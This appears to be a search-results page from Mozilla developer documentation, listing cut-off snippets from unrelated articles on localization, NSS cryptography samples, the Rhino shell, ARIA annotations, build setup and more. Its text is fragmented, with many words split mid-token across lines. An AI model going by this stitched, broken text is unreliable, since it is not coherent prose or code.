mments: [], /** * @return {string} the original search string */ get searchstring() { return this._searchstring; }, /** * @return {number} the result code of this result object, either: * result_ignored (invalid searchstring) * result_failure (failure) * result_nomatch (no matches found) * result_success (matches found) */ get searchresult() { ...
...And 13 more matches
Release phase
cted your l10n tools and projects, done some localization and even some testing! now you're ready for the final phase: becoming an official l10n release. here, we'll continue to stay true to the original intent of this guide and only present you with the technical information you need to become an official release. we'll primarily focus on getting your release repository setup and the mercurial co
mmands you'll need to know to use that repository. for more information on the release part of the l10n process, visit the mozilla wiki here. your official release repository now that your locale has been registered, the localization files will live on mozilla mercurial server at hg.mozilla.org. depending on which branch you work on, the url of your repository might look like this: http://hg.mozilla...
... try pushing, you need to tell ssh which username you wish to use for connecting with hg.mozilla.org. this should be your mozilla ldap account name. add the following lines to your ~/.ssh/config file, replacing user@host.domain with your mozilla ldap account name: host hg.mozilla.org user user@host.domain if you have already cloned the remote repository using the http protocol using this co
mmand: $ hg clone http://hg.mozilla.org/releases/l10n-central/x-testing then you will need to edit the .hg/hgrc file (inside the x-testing local clone) to tell mercurial to push using ssh. your .hg/hgrc file shoud look like this (add the emphasized line): [paths] default = hg.mozilla.org/releases/l10n-central/x-testing default-push = ssh://hg.mozilla.org/releases/l10n-central/x-testing if you h...
...l/x-testing then you will need to edit the .hg/hgrc file (inside the x-testing local clone) to tell mercurial to push using ssh. ...
...And 13 more matches
Enc Dec MAC Output Public Key as CSR
* though pr_errortostring was available, support for it in nss wasn't. * fixme: samples should determine the version of nss that's available and refuse * to run if not 3...
...s as an input file and produces\n", "note :"); fprintf(stderr, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* map option letter enumerated co
mmad type */ static co
mmandtype option2co
mmand(const char* c) { switch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(siz...
...pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_freeitem(data, pr_true); } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_false, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric ke...
...And 13 more matches
Python binding for NSS
project information python-nss is a python binding for nss (network security services) and nspr (netscape portable runtime). nss provides cryptography services supporting ssl, tls, pki, pkix, x509, pkcs*, etc. nss is an alternative to openssl and used extensively by major software projects. nss is fips-140 certified. nss is built upon nspr because nspr provides an abstraction of co
mmon operating system services, particularly in the areas of networking and process management. python also provides an abstraction of co
mmon operating system services but because nss and nspr are tightly bound python-nss exposes elements of nspr. for information on nss and nspr, see the following: network security services (nss). nss project page. netscape portable runtime. nspr project page. nspr ...
...vices (nss). nss project page. netscape portable runtime. nspr project page. nspr reference. nspr api documentation. design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python programs. the design of python-nss follows these basic guiding principles: be a thin layer with almost a one-to-one mapping of nss/nspr calls to python methods and functions. ...
... identifer names follow the preferred python style instead of the style in the nss/nspr c header files. classes are camel-case. ...
...And 13 more matches
gtstd.html
llustrates the relationships between nspr, ssl, pkcs #11, and the available cryptographic modules. ssl is built on top of nspr, which handles sockets, threads, and related low-level os operations. on any given server or client, one or more pkcs #11 modules may be available. figure 2.1 relationships among nss libraries, cryptographic modules, slots, and tokens as shown in the figure, ssl co
mmunicates with pkcs #11 modules through the pkcs #11 interface. any pkcs #11 module that supports pkcs #11 can be used with the nss libraries. netscape software uses a file called secmod.db to keep track of the modules available. a pkcs #11 module always has one or more slots, which may be implemented as physical hardware slots in some form of physical reader (for example, for smart cards) or as ...
...actually provides cryptographic services and optionally stores certificates and keys. netscape provides three built-in modules with nss and with server and client products: the default netscape internal pkcs #11 module comes with two built-in tokens: the generic crypto services token performs all cryptographic operations, such as encryption, decryption, and hashing. the co
mmunicator certificate db token handles all co
mmunication with the certificate and key database files (called certx.db and keyx.db, respectively, where x is a version number) that store certificates and keys. the fortezza module is intended for use with fortezza hardware tokens. the fips 140-1 module is compliant with the fips 140-1 government standard for implementations of cryptograp...
... with fortezza hardware tokens. the fips 140-1 module is compliant with the fips 140-1 government standard for implementations of cryptographic modules. many products sold to the u.s. government must comply with one or more of the fips standards. ...
...And 13 more matches
Rhino shell
invoking the shell java org.mozilla.javascript.tools.shell.main [options] script-filename-or-url [script-arguments] where options are: -e script-source executes script-source as a javascript script. -f script-filename-or-url reads script-filename-or-url content and execute it as a javascript script. -opt optlevel / -o optlevel optimizes at level optlevel, which must be -1 or an integer between 0 and 9. see rhino optimization for more details. -version versionnumber specifies the language version to compile with. ...
...ager installed, the shell restricts scripts permissions based on their urls according to java policy settings. this is available only if jvm implements java2 security model. predefined properties scripts executing in the shell have access to some additional properties of the top-level object. arguments the arguments object is an array containing the strings of all the arguments given at the co
mmand line when the shell was invoked. environment returns the current environment object. history displays the shell co
mmand history. help() executing the help function will print usage and help messages. defineclass(classname) define an extension using the java class named with the string argument classname. uses scriptableobject.defineclass() to define the extension. deserialize(filename...
...d given file and convert its bytes to a string using the specified character coding or default character coding if explicit coding argument is not given. readurl(url [, charactercoding]) open an input connection to the given string url, read all its bytes and convert them to a string using the specified character coding or default character coding if explicit coding argument is not given. runco
mmand(co
mmandname, [arg, ...] [options]) execute the specified co
mmand with the given argument and options as a separate process and return the exit status of the process. usage: runco
mmand(co
mmand) runco
mmand(co
mmand, arg1, ..., argn) runco
mmand(co
mmand, arg1, ..., argn, options) all except the last arguments to runco
mmand are converted to strings and denote co
mmand name and its arguments. if ...
...And 13 more matches
Using the Web Speech API - Web APIs
and speech synthesis (also known as text to speech, or tts) — which open up interesting new possibilities for accessibility, and control mechanisms. this article provides a simple introduction to both areas, along with demos. ...
...think about dictation on macos, siri on ios, cortana on windows 10, android speech, etc. ...
...think about dictation on macos, siri on ios, cortana on windows 10, android speech, etc. ...
...And 13 more matches
ARIA annotations - Accessibility
wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases include edit suggestions (i.e. an addition and/or deletion in an editable document), and co
mments (e.g. an editorial co
mment related to a part of a document under review). below we'll introduce the new features associated with aria annotations, and have a look at some code examples that show them in action. note: you can find all the examples discussed in this article in a demo file at aria-annotations. aria annotations features the aria attributes providing these new abilities are as follows: aria-description="" — provides a detailed description of an html element, as opposed to ...
...rk" — semantically denotes html elements containing text that is marked/highlighted for reference purposes. this is semantically equivalent to the html <mark> element. role="suggestion" — semantically denotes a single proposed change to an editable document. this should be used on an element that wraps a single insertion and deletion (see role="insertion" and role="deletion" above). role="co
mment" — semantically denotes a co
mment/reaction to some content on the page, or to a previous co
mment. to provide a semantic association between the document content being annotated and the annotation, an aria-details attribute can be set on the annotated content that contains the id of the annotated element. aria-details has been updated so that it can support multiple ids — this makes sense...
... content on the page, or to a previous co
mment. to provide a semantic association between the document content being annotated and the annotation, an aria-details attribute can be set on the annotated content that contains the id of the annotated element. aria-details has been updated so that it can support multiple ids — this makes sense, for example you can easily envisage having multiple co
mments relating to the same bit of text. aria annotation roles and objects are currently exposed in: firefox from version 75 onwards, on windows and linux (on macos, we are first waiting for apple to define what safari will expose as apple-dialect attributes to voiceover, and will then follow suit.) chrome from version 81 onwards, currently behind the #enable-accessibility-expose-aria-annotatio...
...And 13 more matches
Index of archived content - Archive of obsolete content
lowship program api navigator navigator.moznotification add-ons add-on sdk builder guides content scripts co
mmunicating with other scripts co
mmunicating using "port" co
mmunicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self contributor's...
... sidebar stringview tabbox toolbar tree uri parsing view source for xul applications windows xml-related code snippets xml:base support in old browsers xpath getattributens co
mmon pitfalls co
mmunication between html and your extension creating custom firefox extensions with the mozilla build system custom about: urls default preferences deploying a plugin as an extension developing add-ons displaying web content in an extension without security issues downloading json and javascript in extens...
...roduction to xul—how to build a more intuitive ui chapter 4: using xpcom—implementing advanced processes chapter 5: let's build a firefox extension chapter 6: firefox extensions and xul applications license and authors xul school tutorial adding events and co
mmands adding toolbars and toolbar buttons adding menus and submenus adding sidebars adding windows and dialogs appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom buil...
...And 12 more matches
Mozilla Crypto FAQ - Archive of obsolete content
in this document i try to answer some frequently asked questions about the mozilla web browser and mail/news client and its support for ssl, s/mime, and related features based on cryptographic technology. note that this document is for your information only and is not intended as legal advice. if you wish to develop and distribute cryptographic software, particularly for co
mmercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction. i've updated this version of the mozilla crypto faq to discuss the situation now that the rsa public key algorithm is in the public domain and a full open source crypto implementation is being added to the mozilla code base. information in the faq also reflects t...
...and mozilla will include ssl support as a standard feature. after the u.s. government relaxed u.s. export regulations in january 2000 to allow export of source code for open source software implementing encryption, the major remaining legal obstacle to mozilla crypto development was the fact that rsa security, inc., held a u.s. patent on the rsa public key algorithm. in february 2000 iplanet e-co
mmerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms. on september 6, 2000, rsa security released the rsa patent...
...ing the open source code available from the mozilla.org site, and nss and psm will be included in the mozilla binary releases distributed by mozilla.org. for more information on the rsa patent see the rsa security press release announcing release of the patent into the public domain, and the rsa patent itself. for information on new us encryption export regulations, see the u.s. department of co
mmerce press release announcing the new regulations as well as the updated regulations (pdf) themselves. export of source code for open source software is addressed in part 740 (pdf), section 740.13(e), "unrestricted encryption source code"; export of binaries is addressed in 740.17. (you may also be interested in a more in-depth analysis of the new regulations, with an emphasis on how they affect ...
...And 12 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
nes 59 to 71. if you choose not to register the installed software or do the verifications at the front end of the installation, then at a minimum, the install scripts mustinitialize, add the files to be installed, and execute. note also that when you call methods on the install--as you do so often in installation scripts (getfolder, initinstall, addfile, and performinstall are all examples of co
mmon install object methods)--the install object is implicit; like the window object in regular web page scripts, the install object does not need to be prefixed to the method. initializing the installation all installations must begin with initinstall(). the initinstall() method on the install object creates a new installation for the specified software and version. in the browser.xpi installatio...
...es disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logco
mment("insufficient disk space: " + dirpath); logco
mment(" required : " + spacerequired + " k"); logco
mment(" available: " + spaceavailable + " k"); return(false); } return(true); } in the verifydiskspace block, filegetdiskspaceavailable is called with dirpath as its expected input. this input is defined in line 22, where getfolder() is used to assign a value to the co
mm...
...inside the function, the two sizes are compared and if the available space is larger than the required space, the installation proceeds. ...
...And 12 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) co
mmunications. this document introduces the basic concepts of public-key cryptography. for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting co
mmunications from eavesdropping, tampering, and impersonation attacks. encryption and decryption allow two co
mmunicating parties to disguise information they send to each other. the sender encrypts, or scrambles...
...authentication confirms an identity how certificates are used contents of a certificate how ca certificates are used to establish trust a certificate identifies someone or something a certificate is an electronic document used to identify an individual, a server, a company, or some other entity and to associate that identity with a public key. like a driver's license, a passport, or other co
mmonly used personal ids, a certificate provides generally recognized proof of a person's identity. public-key cryptography uses certificates to address the problem of impersonation. to get a driver's license, you typically apply to a government agency, such as the department of motor vehicles, which verifies your identity, your ability to drive, your address, and other information before issuing t...
...curity issues related to physical access to individual machines or passwords. public-key cryptography can only verify that a private key used to sign some data corresponds to the public key in a certificate. it is the user's responsibility to protect a machine's physical security and to keep the private-key password secret. these are the steps shown in figure 5: the client software, such as co
mmunicator, maintains a database of the private keys that correspond to the public keys published in any certificates issued for that client. the client asks for the password to this database the first time the client needs to access it during a given session-for example, the first time the user attempts to access an ssl-enabled server that requires certificate-based client authentication. after ent...
...And 12 more matches
Simple Instantbird build
opment version of instantbird. for additional, more detailed information, see the build documentation. this should be kept in sync with simple thunderbird build, you might want to take a look at that page too. build prerequisites hardware requirements: while you can build instantbird on older hardware it can take quite a bit of time to compile on slower machines, and having 8gb of ram is reco
mmended (though you can probably still get away with 4gb). good internet connection for the initial source download. setup: depending on your operating system you will need to carry out a different process to prepare your machine. so firstly complete the instructions for your os and then continue following these build instructions. windows build prerequisites gnu/linux build prerequisites m...
...ssion problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. ...
..., and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. get the latest source code from mozilla's co
mm-central mercurial code repository: hg clone http://hg.mozilla.org/co
mm-central then, get all the repositories it depends on. ...
...And 12 more matches
Eclipse CDT
dvanced code assistance (inheritance/call graph explorer, jump to definition, refactoring, autocomplete, syntax highlighting, and so on). system requirements eclipse will use a lot of memory to fully index the mozilla source tree to provide code assistance features (easily 4 gb of ram, although this will drop to just over 1 gb if you restart after indexing is complete). therefore, it is not reco
mmended for use if your machine only has 4 gb of ram. installing eclipse regarding llvm4eclipsecdt, do not install or select this toolchain for mozilla development. this plugin is intended mainly for managed projects but we use an unmanaged project for mozilla (since it has its own build system). using this plugin will result in parts of the ui described below being hidden or disabled. download...
...t eclipse ide for enterprise java developers) from the eclipse download page, install it, and add the directory containing the eclipse binary to your path (/applications/eclipse.app/contents/eclipse/ on mac). (while package managers like snap sometimes provide an eclipse package, they do not include the c++ developer tools. since it's a pain to install them and keep them up to date we do not reco
mmend getting eclipse this way.) increase eclipse's memory limits! make sure you do this! before you use eclipse with the mozilla source you must increase its memory limits. when eclipse's indexer tries to process the mozilla source, eclipse will need considerably more memory than the limits imposed by its default configuration. you can increase eclipse's memory limits using the eclipse.ini th...
...e that the directory of eclipse's eclipse binary (typically /applications/eclipse.app/contents/macos/ on macos) is in your path. then, to create the eclipse project and open it, run: ./mach ide eclipse or to create the eclipse project without opening it yet, run: ./mach build-backend -b cppeclipse building the eclipse project should only take a few seconds. in the case of the build-backend co
mmand, instructions on how to open the project will be displayed after the co
mmand completes. manual setup, and more more information can be found on the eclipse cdt manual setup page. much of that page is redundant (taken care of by the mach setup), but there is still some information there that is relevant that should make its way back here at some point. keeping the index up-to-date as the so...
...And 12 more matches
EncDecMAC using token object - sample 3
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...kaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr,...
...a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetr...
...And 12 more matches
NSS Tools ssltap
once this connection arrives, the tool makes another connection to the specified host name and port on the server side. ...
...once this connection arrives, the tool makes another connection to the specified host name and port on the server side. it passes any data sent by the client to the server and vice versa. ...
...which it was called. it can do this for plain http connections or any tcp protocol, as well as for ssl streams, as described here. the tool cannot and does not decrypt any encrypted message data. you use the tool to look at the plain text and binary data that are part of the handshake procedure, before the secure connection is established. ...
...And 12 more matches
nsIDOMWindowUtils
t); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); astring getpccountscriptsu
mmary(in long ascript); astring getpccountscriptcontents(in long ascript); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); void leavemodalstate(); void loads...
...color abackgroundcolor, in gfxcontext athebescontext); native code only! ...
...ch to return the window. return value an nsidomwindow object representing the outer window with the specified id; if no matching window is found, returns null. getpccountscriptcount() returns the number of scripts which profile information was constructed for. this should be used after a call to stoppccountprofiling(). long getpccountscriptcount(); parameters none. getpccountscriptsu
mmary() returns a su
mmary of the profile information for a script. this should be used after a call to stoppccountprofiling(). astring getpccountscriptsu
mmary(in long ascript); parameters ascript index of the profiled script to get the profile su
mmary for. should be less than getpccountscriptcount(). return value a json string su
mmarizing the information profiled about the script. thi...
...And 12 more matches
nsIMsgDBView
iewsortordervalue sortorder, in nsmsgviewflagstypevalue viewflags, out long count); void openwithhdrs(in nsisimpleenumerator aheaders, in nsmsgviewsorttypevalue asorttype, in nsmsgviewsortordervalue asortorder, in nsmsgviewflagstypevalue aviewflags, out long acount); void close(); void init(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewco
mmandupdater aco
mmandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void doco
mmand(in nsmsgviewco
mmandtypevalue co
mmand); void doco
mmandwithfolder(in nsmsgviewco
mmandtypevalue co
mmand, in nsimsgfolder destfolder); void getco
mmandstatus(in nsmsgviewco
mmandtypevalue co
mmand, out boolean selectable_p, out nsmsgviewco
mma...
...us(in nsmsgnavigationtypevalue motion); nsmsgkey getkeyat(in nsmsgviewindex index); nsimsgdbhdr getmsghdrat(in nsmsgviewindex index); nsimsgfolder getfolderforviewindex(in nsmsgviewindex index); acstring geturiforviewindex(in nsmsgviewindex index); nsimsgdbview clonedbview(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewco
mmandupdater aco
mmandupdater); void geturisforselection([array, size_is(count)] out string uris, out unsigned long count); void getindicesforselection([array, size_is(count)] out nsmsgviewindex indices, out unsigned long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessagebyurl(in s...
...ent one is deleted. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. currentlydisplayedmessage nsmsgviewindex readonly: the index of the currently displayed message. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. suppressmsgdisplay boolean suppress displaying messages. used when the message pane is collapsed. suppressco
mmandupdating boolean suppress co
mmand updating. used during folder loading. db nsimsgdatabase readonly: the current database of messages. supportsthreading boolean readonly: does the current database support threading? searchsession nsimsgsearchsession the current search session. removerowonmoveordelete boolean readonly: usi...
...And 12 more matches
Document - Web APIs
depending on the document's type (e.g. html, xml, svg, …), a larger api is available: html documents, served with the "text/html" content type, also implement the htmldocument interface, whereas xml and svg documents implement the xmldocument interface. constructor document() creates a new document object. properties this interface also...
... see window.captureevents. document.caretrangefrompoint() gets a range object for the document fragment under the specified coordinates. document.createattribute() creates a new attr object and returns it. document.createattributens() creates a new attribute node in a given namespace and returns it. document.createcdatasection() creates a new cdata node and returns it. document.createco
mment() creates a new co
mment node and returns it. document.createdocumentfragment() creates a new document fragment. document.createelement() creates a new element with the given tag name. document.createelementns() creates a new element with the given tag name and namespace uri. document.createentityreference() creates a new entity reference object and returns it. document.createevent(...
...an xpath expression. extension for html documents the document interface for html documents inherit from the htmldocument interface or, since html5, is extended for such documents: document.clear() in majority of modern browsers, including recent versions of firefox and internet explorer, this method does nothing. document.close() closes a document stream for writing. ...
...And 12 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
it is often derided as being a toy, but beneath its layer of deceptive simplicity, powerful language features await. javascript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer. it's useful to start with an overview of the language's history. javascript was created in 1995 by brendan eich while he was an engineer at netscape. javascript was first released with netscape 2 early in 1996. ...
... the language's history. javascript was created in 1995 by brendan eich while he was an engineer at netscape. javascript was first released with netscape 2 early in 1996. it was originally going to be called livescript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of sun microsystem's java language — despite the two having very little in co
mmon. this has been a source of confusion ever since. several months later, microsoft released jscript with internet explorer 3. it was a mostly-compatible javascript work-alike. several months after that, netscape submitted javascript to ecma international, a european standards organization, which resulted in the first edition of the ecmascript standard that year. the standard received a significa...
...r since. the fourth edition was abandoned, due to political differences concerning language complexity. many parts of the fourth edition formed the basis for ecmascript edition 5, published in december of 2009, and for the 6th major edition of the standard, published in june of 2015. because it is more familiar, we will refer to ecmascript as "javascript" from this point on. ...
...And 12 more matches
x - SVG: Scalable Vector Graphics
array: 2px; } use for <use>, x defines the x coordinate of the uper left corner of the referenced element. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, x is a geometry property meaning this attribute can also be used as a css property for used elements. specifications specification status co
mment filter effects module level 1the definition of 'x' in that specification. working draft definition for <filter> filter effects module level 1the definition of 'x' in that specification. working draft definition for <fespotlight> filter effects module level 1the definition of 'x' in that specification. working draft definition for <fepointlight> ...
...t definition for <fespotlight> filter effects module level 1the definition of 'x' in that specification. working draft definition for <fepointlight> filter effects module level 1the definition of 'x' in that specification. working draft definition for filter primitives css masking module level 1the definition of 'x' in that specification. ...
...finition for <fepointlight> filter effects module level 1the definition of 'x' in that specification. working draft definition for filter primitives css masking module level 1the definition of 'x' in that specification. candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'x' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'x' in that specification. ...
...And 12 more matches
y - SVG: Scalable Vector Graphics
harray: 2px; } use for <use>, y defines the y coordinate of the uper left corner of the referenced element. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, y is a geometry property meaning this attribute can also be used as a css property for used elements. specifications specification status co
mment filter effects module level 1the definition of 'y' in that specification. working draft definition for <filter> filter effects module level 1the definition of 'y' in that specification. working draft definition for <fespotlight> filter effects module level 1the definition of 'y' in that specification. working draft definition for <fepointlight> ...
...t definition for <fespotlight> filter effects module level 1the definition of 'y' in that specification. working draft definition for <fepointlight> filter effects module level 1the definition of 'y' in that specification. working draft definition for filter primitives css masking module level 1the definition of 'y' in that specification. ...
...finition for <fepointlight> filter effects module level 1the definition of 'y' in that specification. working draft definition for filter primitives css masking module level 1the definition of 'y' in that specification. candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'y' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'y' in that specification. ...
...And 12 more matches
widget - Archive of obsolete content
while content scripts can access the content they're attached to, they can't use the sdk's apis. so implementing a complete solution usually means you have to send messages between the content script and the main add-on code. you can specify one or more content scripts to load into the widget using the contentscript or contentscriptfile options to the widget() constructor. you can co
mmunicate with the script using either the postmessage() api or (preferably, usually) the port api. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to main...
...ry and use them to define the widget's content. we can call this "trusted" content, because unlike content loaded from a source outside the add-on, the add-on author knows exactly what it's doing. to interact with trusted content you don't need to use content scripts: you can just include a script from the html file in the normal way, using script tags. like a content script, these scripts can co
mmunicate with the add-on code using the postmessage() api or the port api. the crucial difference is that these scripts access the postmessage and port objects through the addon object, whereas content scripts access them through the self object. to show the difference, convert the player add-on above to use normal page scripts instead of content scripts. first, in the content script, change self...
...ument.body.innerhtml++;' + '}, 2000)', contentscriptwhen: "ready" }); // a widget created with a specified width, that grows. ...
...And 11 more matches
What is JavaScript? - Learn web development
stions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose. prerequisites: basic computer literacy, a basic understanding of html and css. objective: to gain familiarity with what javascript is, what it can do, and how it fits into a web site. a high-level definition javascript is a scripting or progra
mming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, etc. — you can bet that javascript is probably involved. it is the third layer of the layer cake of standard we...
...('enter a new name'); para.textcontent = 'player 1: ' + name; } try clicking on this last version of the text label to see what happens (note also that you can find this demo on github — see the source code, or run it live)! javascript can do a lot more than that — let's explore what in more detail. so what can it really do? the core client-side javascript language consists of some co
mmon progra
mming features that allow you to do things like: store useful values inside variables. in the above example for instance, we ask for a new name to be entered then store that name in a variable called name. operations on pieces of text (known as "strings" in progra
mming). in the above example we take the string "player 1: " and join it to the name variable to create the complete text l...
...omplete text label, e.g. ''player 1: chris". running code in response to certain events occurring on a web page. we used a click event in our example above to detect when the button is clicked and then run the code that updates the text label. and much more! what is even more exciting however is the functionality built on top of the client-side javascript language. ...
...And 11 more matches
Introduction to cross browser testing - Learn web development
objective: to gain an understanding of the high-level concepts involved in cross browser testing. ...
..., and note that here we are talking about issues where things behave different across different browsers / devices / browsing preferences. before you even get to cross browser issues, you should have already fixed out bugs in your code (see debugging html, debugging css, and what went wrong? troubleshooting javascript from previous topics to refresh your memory if needed). cross browser issues co
mmonly occur because: sometimes browsers have bugs, or implement features differently. this situation is a lot less bad than it used to be; back when ie4 and netscape 4 were competing to be the dominant browser in the 1990s, browser companies deliberately implemented things differently to each other to try to gain competitive advantage, which made life hell for developers. browsers are much bette...
...ints that cause a web site to run slowly, or display badly. for example, if a site has been designed to look nice on a desktop pc, it will probably look tiny and be hard to read on a mobile device. if your site includes a load of big animations, it might be ok on a high spec tablet, but might be sluggish or jerky on a low end device. and more reasons besides. in later articles, we'll explore co
mmon cross browser problems, and look at solutions to those. workflows for cross browser testing all of this cross browser testing business may sound time consuming and scary, but it needn't be — you just need to plan carefully for it, and make sure you do enough testing in the right places to make sure you don't run into unexpected problems. if you are working on a large project, you should be ...
...And 11 more matches
Configuring Build Options
irefox builds. most of the time a mozconfig file is not required. the default options are the most well-supported, so it is preferable to add as few options as possible. please read the following directions carefully before building, and follow them in order. skipping any step may cause the build to fail, or the built software to be unusable. build options, including options not usable from the co
mmand-line, may appear in "confvars.sh" files in the source tree. using a mozconfig configuration file the choice of which mozilla application to build and other configuration options can be configured in a mozconfig file. (it is possible to manually call configure with co
mmand-line options, but this is not reco
mmended). the mozconfig file should be in your source directory (that is, /mozilla-cent...
... in "confvars.sh" files in the source tree. using a mozconfig configuration file the choice of which mozilla application to build and other configuration options can be configured in a mozconfig file. (it is possible to manually call configure with co
mmand-line options, but this is not reco
mmended). the mozconfig file should be in your source directory (that is, /mozilla-central/mozconfig or /co
mm-central/mozconfig). create a blank mozconfig file: echo "# my first mozilla config" > mozconfig if your mozconfig isn't in your source directory, you can also use the mozconfig environment variable to specify the path to your mozconfig. the path you specify must be an absolute path or else client.mk will not find it. this is useful if you choose to have multiple mozconfig files for different...
...gurations (see below for a full example). note that in the export example below the filename was not mozconfig. regardless of the name of the actual file you use, we refer to this file as the mozconfig file in the examples below. setting the mozconfig path: export mozconfig=$home/mozilla/mozconfig-firefox calling the file .mozconfig (with a leading dot) is also supported, but this is not reco
mmended because it may make the file harder to find. this will also help when troubleshooting because people will want to know which build options you have selected and will assume that you have put them in your mozconfig file. mozconfig contains two types of options: options prefixed with mk_add_options are passed to client.mk. the most important of these is moz_objdir, which controls where y...
...And 11 more matches
Application Translation with Mercurial
exts and you can move on with this guide. required tools build pre-requisites first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions. this is only necessary once. mozillabuild must be installed into an absolute file path without whitespaces, else it will break. file comparison program for the translation, it is reco
mmend to use file comparison program to compare the english file (containing the new texts) with the file of your locale (which is still missing the new strings). this example uses winmerge: download and install it. a comparison of alternatives (e.g. for linux and mac os) is available on wikipedia. file and text editor for editing individual files a text editor can be a better choice than a file c...
